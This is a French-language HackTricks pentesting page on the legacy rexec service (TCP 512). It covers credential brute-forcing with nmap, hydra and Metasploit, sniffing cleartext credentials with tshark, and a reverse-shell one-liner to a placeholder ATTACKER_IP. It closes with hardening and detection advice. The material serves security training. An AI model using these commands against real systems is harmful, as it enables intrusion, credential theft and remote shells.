512 - Pentesting Rexec

Reading time: 5 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Rexec (remote exec) est l'un des services r originaux de Berkeley (avec rlogin, rsh, …). Il fournit une capacité de commande à distance authentifiée uniquement avec un nom d'utilisateur et un mot de passe en clair. Le protocole a été défini au début des années 1980 (voir RFC 1060) et est aujourd'hui considéré comme insecure par conception. Néanmoins, il est toujours activé par défaut dans certains équipements UNIX / connectés en réseau hérités et apparaît parfois lors de pentests internes.

Port par défaut : TCP 512 (exec)

PORT    STATE SERVICE
512/tcp open  exec

🔥 Tout le trafic – y compris les identifiants – est transmis non chiffré. Quiconque a la capacité de renifler le réseau peut récupérer le nom d'utilisateur, le mot de passe et la commande.

Aperçu rapide du protocole

  1. Le client se connecte au TCP 512.
  2. Le client envoie trois chaînes terminées par NUL :
  • le numéro de port (en ASCII) où il souhaite recevoir stdout/stderr (souvent 0),
  • le nom d'utilisateur,
  • le mot de passe.
  1. Une dernière chaîne terminée par NUL avec la commande à exécuter est envoyée.
  2. Le serveur répond avec un seul octet d'état de 8 bits (0 = succès, 1 = échec) suivi de la sortie de la commande.

Cela signifie que vous pouvez reproduire l'échange avec rien de plus que echo -e et nc :

bash
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512

Si les identifiants sont valides, vous recevrez la sortie de id directement sur la même connexion.

Utilisation manuelle avec le client

De nombreuses distributions Linux incluent encore le client hérité dans le package inetutils-rexec / rsh-client :

bash
rexec -l user -p password <target> "uname -a"

Si -p est omis, le client demandera le mot de passe de manière interactive (visible sur le réseau en texte clair !).


Énumération & Brute-forcing

Brute-force

Nmap

bash
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration

nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>

Le rexec-brute NSE utilise le protocole décrit ci-dessus pour essayer des identifiants très rapidement.

Hydra / Medusa / Ncrack

bash
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8

hydra a un module rexec dédié et reste le bruteforceur hors ligne le plus rapide. medusa (-M REXEC) et ncrack (module rexec) peuvent être utilisés de la même manière.

Metasploit

use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

Le module lancera un shell en cas de succès et stockera les identifiants dans la base de données.


Sniffing credentials

Parce que tout est en texte clair, les captures réseau sont inestimables. Avec une copie du trafic, vous pouvez extraire des identifiants sans toucher à la cible :

bash
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command

(In Wireshark, activez Decode As …​ TCP 512 → REXEC pour voir les champs bien analysés.)


Conseils post-exploitation

  • Les commandes s'exécutent avec les privilèges de l'utilisateur fourni. Si /etc/pam.d/rexec est mal configuré (par exemple pam_rootok), des shells root sont parfois possibles.
  • Rexec ignore le shell de l'utilisateur et exécute la commande via /bin/sh -c <cmd>. Vous pouvez donc utiliser des astuces d'échappement de shell typiques (;, $( ), backticks) pour enchaîner plusieurs commandes ou créer des shells inversés :
bash
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
  • Les mots de passe sont souvent stockés dans ~/.netrc sur d'autres systèmes ; si vous compromettez un hôte, vous pouvez les réutiliser pour un mouvement latéral.

Renforcement / Détection

  • Ne pas exposer rexec ; remplacez-le par SSH. Virtuellement tous les inetd superservers modernes commentent le service par défaut.
  • Si vous devez le garder, restreignez l'accès avec des wrappers TCP (/etc/hosts.allow) ou des règles de pare-feu et imposez des mots de passe forts par compte.
  • Surveillez le trafic vers :512 et les lancements de processus rexecd. Une seule capture de paquet suffit pour détecter une compromission.
  • Désactivez rexec, rlogin, rsh ensemble – ils partagent la plupart du même code et des faiblesses.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks